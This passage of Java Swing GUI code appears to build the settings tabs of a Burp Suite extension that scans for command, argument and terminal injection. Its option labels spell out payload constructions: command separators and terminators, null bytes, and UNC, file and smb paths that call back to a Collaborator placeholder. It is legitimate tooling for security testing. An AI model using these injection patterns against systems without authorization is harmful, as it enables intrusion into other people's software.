\"Delay (sleep)\" }));\n        feedbackChannelCombo.addActionListener(new java.awt.event.ActionListener() {\n            public void actionPerformed(java.awt.event.ActionEvent evt) {\n                feedbackChannelComboActionPerformed(evt);\n            }\n        });\n\n        jLabel7.setText(\"Feedback channel\");\n\n        delayTimeSpinner.setModel(new javax.swing.SpinnerNumberModel(25, 10, null, 1));\n        delayTimeSpinner.setEnabled(false);\n        delayTimeSpinner.setValue(25);\n\n        jLabel10.setText(\"Delay [s]\");\n\n        manualModeCheckBox.setToolTipText(\"\");\n        manualModeCheckBox.setLabel(\"Manual (non-auto) mode for Intruder & export  (please refer the documentation for details)\");\n        manualModeCheckBox.addActionListener(new java.awt.event.ActionListener() {\n            public void actionPerformed(java.awt.event.ActionEvent evt) {\n                manualModeCheckBoxActionPerformed(evt);\n            }\n        });\n\n        stopAllRunningScans.setText(\"Stop all running scans\");\n        stopAllRunningScans.addActionListener(new java.awt.event.ActionListener() {\n            public void actionPerformed(java.awt.event.ActionEvent evt) {\n                stopAllRunningScansActionPerformed(evt);\n            }\n        });\n\n        javax.swing.GroupLayout jPanel1Layout = new javax.swing.GroupLayout(jPanel1);\n        jPanel1.setLayout(jPanel1Layout);\n        jPanel1Layout.setHorizontalGroup(\n            jPanel1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)\n            .addGroup(jPanel1Layout.createSequentialGroup()\n                .addContainerGap()\n                .addGroup(jPanel1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)\n                    .addComponent(manualModeCheckBox, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)\n                    .addGroup(jPanel1Layout.createSequentialGroup()\n                        .addGroup(jPanel1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)\n                            .addGroup(jPanel1Layout.createSequentialGroup()\n                                .addGroup(jPanel1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)\n                                    .addGroup(jPanel1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING, false)\n                                        .addComponent(jLabel3, javax.swing.GroupLayout.DEFAULT_SIZE, 235, Short.MAX_VALUE)\n                                        .addComponent(jLabel5, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE))\n                                    .addComponent(jLabel4, javax.swing.GroupLayout.PREFERRED_SIZE, 249, javax.swing.GroupLayout.PREFERRED_SIZE))\n                                .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)\n                                .addGroup(jPanel1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)\n                                    .addComponent(targetOSCombo, javax.swing.GroupLayout.PREFERRED_SIZE, 292, javax.swing.GroupLayout.PREFERRED_SIZE)\n                                    .addComponent(commandField, javax.swing.GroupLayout.PREFERRED_SIZE, 297, javax.swing.GroupLayout.PREFERRED_SIZE)\n                                    .addComponent(argumentField, javax.swing.GroupLayout.PREFERRED_SIZE, 564, javax.swing.GroupLayout.PREFERRED_SIZE)))\n                            .addGroup(jPanel1Layout.createSequentialGroup()\n                                .addComponent(jLabel7, javax.swing.GroupLayout.PREFERRED_SIZE, 374, javax.swing.GroupLayout.PREFERRED_SIZE)\n                                .addGap(32, 32, 32)\n                                .addComponent(feedbackChannelCombo, javax.swing.GroupLayout.PREFERRED_SIZE, 401, javax.swing.GroupLayout.PREFERRED_SIZE)))\n                        .addGap(28, 28, 28)\n                        .addComponent(jLabel10, javax.swing.GroupLayout.PREFERRED_SIZE, 138, javax.swing.GroupLayout.PREFERRED_SIZE)\n                        .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)\n                        .addComponent(delayTimeSpinner, javax.swing.GroupLayout.PREFERRED_SIZE, 84, javax.swing.GroupLayout.PREFERRED_SIZE)\n                        .addGap(0, 747, Short.MAX_VALUE))\n                    .addGroup(jPanel1Layout.createSequentialGroup()\n                        .addComponent(payloadMarkingBox, javax.swing.GroupLayout.PREFERRED_SIZE, 307, javax.swing.GroupLayout.PREFERRED_SIZE)\n                        .addGap(107, 107, 107)\n                        .addComponent(scannerChecksBox, javax.swing.GroupLayout.PREFERRED_SIZE, 330, javax.swing.GroupLayout.PREFERRED_SIZE)\n                        .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED)\n                        .addComponent(stopAllRunningScans, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)))\n                .addContainerGap())\n        );\n        jPanel1Layout.setVerticalGroup(\n            jPanel1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)\n            .addGroup(jPanel1Layout.createSequentialGroup()\n                .addGap(9, 9, 9)\n                .addGroup(jPanel1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)\n                    .addComponent(targetOSCombo, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)\n                    .addComponent(jLabel4, javax.swing.GroupLayout.PREFERRED_SIZE, 35, javax.swing.GroupLayout.PREFERRED_SIZE))\n                .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)\n                .addGroup(jPanel1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)\n                    .addComponent(jLabel3, javax.swing.GroupLayout.PREFERRED_SIZE, 35, javax.swing.GroupLayout.PREFERRED_SIZE)\n                    .addComponent(commandField, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE))\n                .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)\n                .addGroup(jPanel1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING, false)\n                    .addComponent(argumentField)\n                    .addComponent(jLabel5, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE))\n                .addGap(18, 18, 18)\n                .addGroup(jPanel1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)\n                    .addComponent(payloadMarkingBox)\n                    .addGroup(jPanel1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)\n                        .addComponent(scannerChecksBox, javax.swing.GroupLayout.PREFERRED_SIZE, 25, javax.swing.GroupLayout.PREFERRED_SIZE)\n                        .addComponent(stopAllRunningScans)))\n                .addGap(8, 8, 8)\n                .addComponent(manualModeCheckBox)\n                .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED)\n                .addGroup(jPanel1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)\n                    .addGroup(jPanel1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)\n                        .addComponent(jLabel10, javax.swing.GroupLayout.PREFERRED_SIZE, 35, javax.swing.GroupLayout.PREFERRED_SIZE)\n                        .addComponent(delayTimeSpinner, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE))\n                    .addGroup(jPanel1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.TRAILING, false)\n                        .addComponent(jLabel7, javax.swing.GroupLayout.Alignment.LEADING, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)\n                        .addComponent(feedbackChannelCombo, javax.swing.GroupLayout.Alignment.LEADING)))\n                .addGap(0, 505, Short.MAX_VALUE))\n        );\n\n        jTabbedPane1.addTab(\"Global settings\", jPanel1);\n\n        doCommandInjection.setSelected(true);\n        doCommandInjection.setText(\"Test for command injection\");\n        doCommandInjection.addActionListener(new java.awt.event.ActionListener() {\n            public void actionPerformed(java.awt.event.ActionEvent evt) {\n                doCommandInjectionActionPerformed(evt);\n            }\n        });\n\n        advancedPayloadLabel.setText(\"Use the following syntaxes (see the manual for details on base syntaxes)\");\n\n        basePayloadCheckBox.setSelected(true);\n        basePayloadCheckBox.setText(\"COMMAND (this is the base payload (don't uncheck unless you know what you're doing)\");\n\n        secondBasePayloadCheckBox.setText(\"COMMAND + COMMAND_TERMINATOR\");\n\n        thirdBasePayloadCheckBox.setText(\"COMMAND_SEPARATOR + COMMAND\");\n\n        fourthBasePayloadCheckBox.setText(\"COMMAND_SEPARATOR + COMMAND + COMMAND_SEPARATOR\");\n\n        fifthBasePayloadCheckBox.setText(\"COMMAND_SEPARATOR + COMMAND + COMMAND_SEPARATOR + SUFFIX \");\n\n        seventhBasePayloadCheckBox.setSelected(true);\n        seventhBasePayloadCheckBox.setText(\"PREFIX + COMMAND_SEPARATOR + COMMAND + COMMAND_SEPARATOR + SUFFIX\");\n\n        sixthBasePayloadCheckBox.setText(\"PREFIX + COMMAND_SEPARATOR + COMMAND + COMMAND_SEPARATOR\");\n\n        eightBasePayloadCheckBox.setText(\"PREFIX + COMMAND + SUFFIX\");\n\n        javax.swing.GroupLayout panel1Layout = new javax.swing.GroupLayout(panel1);\n        panel1.setLayout(panel1Layout);\n        panel1Layout.setHorizontalGroup(\n            panel1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)\n            .addGroup(panel1Layout.createSequentialGroup()\n                .addContainerGap()\n                .addGroup(panel1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)\n                    .addGroup(panel1Layout.createSequentialGroup()\n                        .addGroup(panel1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING, false)\n                            .addComponent(basePayloadCheckBox, javax.swing.GroupLayout.DEFAULT_SIZE, 1040, Short.MAX_VALUE)\n                            .addComponent(advancedPayloadLabel, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)\n                            .addComponent(doCommandInjection, javax.swing.GroupLayout.DEFAULT_SIZE, 1031, Short.MAX_VALUE)\n                            .addComponent(secondBasePayloadCheckBox, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)\n                            .addComponent(thirdBasePayloadCheckBox, javax.swing.GroupLayout.DEFAULT_SIZE, 1040, Short.MAX_VALUE)\n                            .addComponent(fourthBasePayloadCheckBox, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)\n                            .addComponent(fifthBasePayloadCheckBox, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE))\n                        .addGap(0, 794, Short.MAX_VALUE))\n                    .addComponent(seventhBasePayloadCheckBox, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)\n                    .addComponent(sixthBasePayloadCheckBox, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)\n                    .addComponent(eightBasePayloadCheckBox, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE))\n                .addContainerGap())\n        );\n        panel1Layout.setVerticalGroup(\n            panel1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)\n            .addGroup(panel1Layout.createSequentialGroup()\n                .addContainerGap()\n                .addComponent(doCommandInjection)\n                .addGap(18, 18, 18)\n                .addComponent(advancedPayloadLabel, javax.swing.GroupLayout.PREFERRED_SIZE, 30, javax.swing.GroupLayout.PREFERRED_SIZE)\n                .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)\n                .addComponent(basePayloadCheckBox)\n                .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)\n                .addComponent(secondBasePayloadCheckBox)\n                .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)\n                .addComponent(thirdBasePayloadCheckBox)\n                .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)\n                .addComponent(fourthBasePayloadCheckBox, javax.swing.GroupLayout.PREFERRED_SIZE, 25, javax.swing.GroupLayout.PREFERRED_SIZE)\n                .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)\n                .addComponent(fifthBasePayloadCheckBox)\n                .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)\n                .addComponent(sixthBasePayloadCheckBox)\n                .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)\n                .addComponent(seventhBasePayloadCheckBox)\n                .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)\n                .addComponent(eightBasePayloadCheckBox)\n                .addContainerGap(417, Short.MAX_VALUE))\n        );\n\n        jTabbedPane1.addTab(\"Command injection\", panel1);\n\n        argInjectionCheckBox.setText(\"Test for argument injection\");\n        argInjectionCheckBox.addActionListener(new java.awt.event.ActionListener() {\n            public void actionPerformed(java.awt.event.ActionEvent evt) {\n                argInjectionCheckBoxActionPerformed(evt);\n            }\n        });\n\n        fixedArguments.setText(\"Check known injections\");\n        fixedArguments.setEnabled(false);\n        fixedArguments.addActionListener(new java.awt.event.ActionListener() {\n            public void actionPerformed(java.awt.event.ActionEvent evt) {\n                fixedArgumentsActionPerformed(evt);\n            }\n        });\n\n        bruteArgInjections.setSelected(true);\n        bruteArgInjections.setText(\"Brute force argument flags\");\n        bruteArgInjections.setEnabled(false);\n        bruteArgInjections.addActionListener(new java.awt.event.ActionListener() {\n            public void actionPerformed(java.awt.event.ActionEvent evt) {\n                bruteArgInjectionsActionPerformed(evt);\n            }\n        });\n\n        injectHTTPCheckBox.setSelected(true);\n        injectHTTPCheckBox.setText(\"http://BURP_COLLAB_DOMAIN/a\");\n        injectHTTPCheckBox.setEnabled(false);\n        injectHTTPCheckBox.addActionListener(new java.awt.event.ActionListener() {\n            public void actionPerformed(java.awt.event.ActionEvent evt) {\n                injectHTTPCheckBoxActionPerformed(evt);\n            }\n        });\n\n        injectFileCheckBox.setSelected(true);\n        injectFileCheckBox.setText(\"file://BURP_COLLAB_DOMAIN/a\");\n        injectFileCheckBox.setEnabled(false);\n\n        uncPathsCheckBox.setSelected(true);\n        uncPathsCheckBox.setText(\">\\\\\\\\BURP_COLLAB_DOMAIN\\\\o\");\n        uncPathsCheckBox.setEnabled(false);\n\n        injectSmbCheckBox.setText(\"smb://BURP_COLLAB_DOMAIN/a\");\n        injectSmbCheckBox.setEnabled(false);\n\n        injectUncCheckBox.setSelected(true);\n        injectUncCheckBox.setText(\"\\\\\\\\BURP_COLLAB_DOMAIN\\\\a\");\n        injectUncCheckBox.setToolTipText(\"UNC paths\");\n        injectUncCheckBox.setEnabled(false);\n\n        jLabel6.setText(\"Use the following argument values\");\n\n        injectAdditionalArguments.setSelected(true);\n        injectAdditionalArguments.setText(\"Inject additional arguments directly (without flags)\");\n        injectAdditionalArguments.setEnabled(false);\n        injectAdditionalArguments.addActionListener(new java.awt.event.ActionListener() {\n            public void actionPerformed(java.awt.event.ActionEvent evt) {\n                injectAdditionalArgumentsActionPerformed(evt);\n            }\n        });\n\n        jLabel11.setText(\"win-specific\");\n\n        defaultArgBruteRange.setSelected(true);\n        defaultArgBruteRange.setText(\"Default range (a-zA-Z, LOTS of payloads)\");\n        defaultArgBruteRange.setEnabled(false);\n        defaultArgBruteRange.addActionListener(new java.awt.event.ActionListener() {\n            public void actionPerformed(java.awt.event.ActionEvent evt) {\n                defaultArgBruteRangeActionPerformed(evt);\n            }\n        });\n\n        customArgBruteRange.setText(\"Custom character range:\");\n        customArgBruteRange.setEnabled(false);\n        customArgBruteRange.addActionListener(new java.awt.event.ActionListener() {\n            public void actionPerformed(java.awt.event.ActionEvent evt) {\n                customArgBruteRangeActionPerformed(evt);\n            }\n        });\n\n        customCharacterRange.setText(\"abcdefghijklmnroqprstuvxyzACDEEFGHIJCKLMNROQPRSTUVXYZ\");\n        customCharacterRange.setEnabled(false);\n\n        javax.swing.GroupLayout jPanel5Layout = new javax.swing.GroupLayout(jPanel5);\n        jPanel5.setLayout(jPanel5Layout);\n        jPanel5Layout.setHorizontalGroup(\n            jPanel5Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)\n            .addGroup(jPanel5Layout.createSequentialGroup()\n                .addGroup(jPanel5Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)\n                    .addGroup(jPanel5Layout.createSequentialGroup()\n                        .addGroup(jPanel5Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)\n                            .addGroup(jPanel5Layout.createSequentialGroup()\n                                .addContainerGap()\n                                .addComponent(fixedArguments, javax.swing.GroupLayout.PREFERRED_SIZE, 463, javax.swing.GroupLayout.PREFERRED_SIZE))\n                            .addComponent(jLabel11, javax.swing.GroupLayout.PREFERRED_SIZE, 256, javax.swing.GroupLayout.PREFERRED_SIZE))\n                        .addGap(37, 37, 37)\n                        .addComponent(argInjectionCheckBox, javax.swing.GroupLayout.PREFERRED_SIZE, 388, javax.swing.GroupLayout.PREFERRED_SIZE))\n                    .addGroup(jPanel5Layout.createSequentialGroup()\n                        .addContainerGap()\n                        .addGroup(jPanel5Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)\n                            .addComponent(uncPathsCheckBox, javax.swing.GroupLayout.PREFERRED_SIZE, 467, javax.swing.GroupLayout.PREFERRED_SIZE)\n                            .addGroup(jPanel5Layout.createSequentialGroup()\n                                .addGap(486, 486, 486)\n                                .addGroup(jPanel5Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)\n                                    .addGroup(jPanel5Layout.createSequentialGroup()\n                                        .addGap(14, 14, 14)\n                                        .addGroup(jPanel5Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)\n                                            .addComponent(injectAdditionalArguments, javax.swing.GroupLayout.PREFERRED_SIZE, 626, javax.swing.GroupLayout.PREFERRED_SIZE)\n                                            .addComponent(bruteArgInjections, javax.swing.GroupLayout.PREFERRED_SIZE, 477, javax.swing.GroupLayout.PREFERRED_SIZE)))\n                                    .addGroup(jPanel5Layout.createSequentialGroup()\n                                        .addGap(18, 18, 18)\n                                        .addComponent(defaultArgBruteRange, javax.swing.GroupLayout.PREFERRED_SIZE, 721, javax.swing.GroupLayout.PREFERRED_SIZE))\n                                    .addGroup(jPanel5Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING, false)\n                                        .addComponent(injectHTTPCheckBox, javax.swing.GroupLayout.PREFERRED_SIZE, 601, javax.swing.GroupLayout.PREFERRED_SIZE)\n                                        .addComponent(injectSmbCheckBox, javax.swing.GroupLayout.PREFERRED_SIZE, 618, javax.swing.GroupLayout.PREFERRED_SIZE)\n                                        .addComponent(injectFileCheckBox, javax.swing.GroupLayout.PREFERRED_SIZE, 640, javax.swing.GroupLayout.PREFERRED_SIZE)\n                                        .addGroup(jPanel5Layout.createSequentialGroup()\n                                            .addComponent(customArgBruteRange, javax.swing.GroupLayout.PREFERRED_SIZE, 379, javax.swing.GroupLayout.PREFERRED_SIZE)\n                                            .addGap(18, 18, 18)\n                                            .addComponent(customCharacterRange, javax.swing.GroupLayout.PREFERRED_SIZE, 283, javax.swing.GroupLayout.PREFERRED_SIZE))\n                                        .addComponent(jLabel6, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)\n                                        .addComponent(injectUncCheckBox, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)))))))\n                .addContainerGap(621, Short.MAX_VALUE))\n        );\n        jPanel5Layout.setVerticalGroup(\n            jPanel5Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)\n            .addGroup(jPanel5Layout.createSequentialGroup()\n                .addContainerGap()\n                .addGroup(jPanel5Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)\n                    .addComponent(argInjectionCheckBox)\n                    .addComponent(fixedArguments))\n                .addGap(6, 6, 6)\n                .addComponent(jLabel11)\n                .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)\n                .addComponent(uncPathsCheckBox, javax.swing.GroupLayout.PREFERRED_SIZE, 25, javax.swing.GroupLayout.PREFERRED_SIZE)\n                .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)\n                .addComponent(injectAdditionalArguments)\n                .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)\n                .addComponent(bruteArgInjections)\n                .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)\n                .addComponent(defaultArgBruteRange)\n                .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)\n                .addGroup(jPanel5Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.TRAILING)\n                    .addComponent(customArgBruteRange)\n                    .addComponent(customCharacterRange, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE))\n                .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED)\n                .addComponent(jLabel6)\n                .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)\n                .addComponent(injectHTTPCheckBox)\n                .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)\n                .addComponent(injectSmbCheckBox)\n                .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)\n                .addComponent(injectFileCheckBox)\n                .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)\n                .addComponent(injectUncCheckBox)\n                .addContainerGap(368, Short.MAX_VALUE))\n        );\n\n        jTabbedPane1.addTab(\"Argument injection\", jPanel5);\n\n        doTerminalInjection.setText(\"Test for terminal injection\");\n        doTerminalInjection.addActionListener(new java.awt.event.ActionListener() {\n            public void actionPerformed(java.awt.event.ActionEvent evt) {\n                doTerminalInjectionActionPerformed(evt);\n            }\n        });\n\n        javax.swing.GroupLayout jPanel6Layout = new javax.swing.GroupLayout(jPanel6);\n        jPanel6.setLayout(jPanel6Layout);\n        jPanel6Layout.setHorizontalGroup(\n            jPanel6Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)\n            .addGroup(jPanel6Layout.createSequentialGroup()\n                .addGap(20, 20, 20)\n                .addComponent(doTerminalInjection, javax.swing.GroupLayout.PREFERRED_SIZE, 1091, javax.swing.GroupLayout.PREFERRED_SIZE)\n                .addContainerGap(747, Short.MAX_VALUE))\n        );\n        jPanel6Layout.setVerticalGroup(\n            jPanel6Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)\n            .addGroup(jPanel6Layout.createSequentialGroup()\n                .addContainerGap()\n                .addComponent(doTerminalInjection)\n                .addContainerGap(713, Short.MAX_VALUE))\n        );\n\n        jTabbedPane1.addTab(\"Terminal injection\", jPanel6);\n\n        jLabel9.setText(\"Output encodings to use\");\n\n        encodeList.setModel(new javax.swing.AbstractListModel<String>() {\n            String[] strings = { \"URL\" };\n            public int getSize() { return strings.length; }\n            public String getElementAt(int i) { return strings[i]; }\n        });\n        jScrollPane1.setViewportView(encodeList);\n\n        encodingsToUse.setModel(new javax.swing.DefaultComboBoxModel<>(new String[] { \"URL (default)\", \"None\", \"Double URL\" }));\n        encodingsToUse.addActionListener(new java.awt.event.ActionListener() {\n            public void actionPerformed(java.awt.event.ActionEvent evt) {\n                encodingsToUseActionPerformed(evt);\n            }\n        });\n\n        removeEncoding.setText(\"Remove\");\n        removeEncoding.addActionListener(new java.awt.event.ActionListener() {\n            public void actionPerformed(java.awt.event.ActionEvent evt) {\n                removeEncodingActionPerformed(evt);\n            }\n        });\n\n        jButton4.setText(\"Clear\");\n        jButton4.addActionListener(new java.awt.event.ActionListener() {\n            public void actionPerformed(java.awt.event.ActionEvent evt) {\n                jButton4ActionPerformed(evt);\n            }\n        });\n\n        useTerminatorsCheckBox.setSelected(true);\n        useTerminatorsCheckBox.setText(\"Try to terminate strings\");\n        useTerminatorsCheckBox.addActionListener(new java.awt.event.ActionListener() {\n            public void actionPerformed(java.awt.event.ActionEvent evt) {\n                useTerminatorsCheckBoxActionPerformed(evt);\n            }\n        });\n\n        includeLiteralWhites.setSelected(true);\n        includeLiteralWhites.setText(\"Include literal space/null/newline/tab\");\n        includeLiteralWhites.setActionCommand(\"Include literal white chars (space, tab, newline, nullbyte)\");\n        includeLiteralWhites.addActionListener(new java.awt.event.ActionListener() {\n            public void actionPerformed(java.awt.event.ActionEvent evt) {\n                includeLiteralWhitesActionPerformed(evt);\n            }\n        });\n\n        includeThePooComboBox.setText(\"Include the 💩 (POO) character as terminator\");\n\n        osSpecificTerminators.setSelected(true);\n        osSpecificTerminators.setText(\"Include OS-specific terminators (nix \\\"#', win \\\"::\\\") \");\n\n        jScrollPane3.setViewportView(terminatorList);\n\n        removeTerminatorButton.setText(\"Remove selected\");\n        removeTerminatorButton.setEnabled(false);\n        removeTerminatorButton.addActionListener(new java.awt.event.ActionListener() {\n            public void actionPerformed(java.awt.event.ActionEvent evt) {\n                removeTerminatorButtonActionPerformed(evt);\n            }\n        });\n\n        addTerminatorButton.setText(\"Add\");\n        addTerminatorButton.addActionListener(new java.awt.event.ActionListener() {\n            public void actionPerformed(java.awt.event.ActionEvent evt) {\n                addTerminatorButtonActionPerformed(evt);\n            }\n        });\n\n        jLabel13.setText(\"List editor display & input format:\");\n\n        terminatorASCIIFormat.setText(\"ASCII\");\n        terminatorASCIIFormat.addActionListener(new java.awt.event.ActionListener() {\n            public void actionPerformed(java.awt.event.ActionEvent evt) {\n                terminatorASCIIFormatActionPerformed(evt);\n            }\n        });\n\n        terminatorHexFormat.setSelected(true);\n        terminatorHexFormat.setText(\"HEX\");\n        terminatorHexFormat.addActionListener(new java.awt.event.ActionListener() {\n            public void actionPerformed(java.awt.event.ActionEvent evt) {\n                terminatorHexFormatActionPerformed(evt);\n            }\n        });\n\n        jLabel8.setText(\"Define custom string terminators:\");\n\n        useNullByte.setSelected(true);\n        useNullByte.setText(\"Use NULL byte\");\n\n        smart400Avoidance.setSelected(true);\n        smart400Avoidance.setText(\"Use smart 400 Bad request avoidance (Scanner only)\");\n\n        javax.swing.GroupLayout jPanel2Layout = new javax.swing.GroupLayout(jPanel2);\n        jPanel2.setLayout(jPanel2Layout);\n        jPanel2Layout.setHorizontalGroup(\n            jPanel2Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)\n            .addGroup(jPanel2Layout.createSequentialGroup()\n                .addContainerGap()\n                .addGroup(jPanel2Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)\n                    .addComponent(jScrollPane1, javax.swing.GroupLayout.PREFERRED_SIZE, 679, javax.swing.GroupLayout.PREFERRED_SIZE)\n                    .addGroup(jPanel2Layout.createSequentialGroup()\n                        .addComponent(encodingsToUse, javax.swing.GroupLayout.PREFERRED_SIZE, 213, javax.swing.GroupLayout.PREFERRED_SIZE)\n                        .addGap(29, 29, 29)\n                        .addComponent(removeEncoding, javax.swing.GroupLayout.PREFERRED_SIZE, 176, javax.swing.GroupLayout.PREFERRED_SIZE)\n                        .addGap(77, 77, 77)\n                        .addComponent(jButton4, javax.swing.GroupLayout.PREFERRED_SIZE, 174, javax.swing.GroupLayout.PREFERRED_SIZE))\n                    .addComponent(jLabel9, javax.swing.GroupLayout.PREFERRED_SIZE, 706, javax.swing.GroupLayout.PREFERRED_SIZE)\n                    .addComponent(includeLiteralWhites, javax.swing.GroupLayout.PREFERRED_SIZE, 672, javax.swing.GroupLayout.PREFERRED_SIZE)\n                    .addComponent(smart400Avoidance, javax.swing.GroupLayout.PREFERRED_SIZE, 663, javax.swing.GroupLayout.PREFERRED_SIZE))\n                .addGap(33, 33, 33)\n                .addGroup(jPanel2Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING, false)\n                    .addComponent(useNullByte, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)\n                    .addComponent(jLabel8, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)\n                    .addComponent(removeTerminatorButton, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)\n                    .addComponent(jScrollPane3)\n                    .addComponent(osSpecificTerminators, javax.swing.GroupLayout.DEFAULT_SIZE, 785, Short.MAX_VALUE)\n                    .addComponent(includeThePooComboBox, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)\n                    .addComponent(jLabel13, javax.swing.GroupLayout.PREFERRED_SIZE, 554, javax.swing.GroupLayout.PREFERRED_SIZE)\n                    .addComponent(useTerminatorsCheckBox, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)\n                    .addGroup(jPanel2Layout.createSequentialGroup()\n                        .addComponent(addTerminatorButton)\n                        .addGap(18, 18, 18)\n                        .addComponent(addTerminatorField, javax.swing.GroupLayout.PREFERRED_SIZE, 505, javax.swing.GroupLayout.PREFERRED_SIZE))\n                    .addGroup(jPanel2Layout.createSequentialGroup()\n                        .addComponent(terminatorASCIIFormat)\n                        .addGap(18, 18, 18)\n                        .addComponent(terminatorHexFormat)))\n                .addContainerGap(322, Short.MAX_VALUE))\n        );\n        jPanel2Layout.setVerticalGroup(\n            jPanel2Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)\n            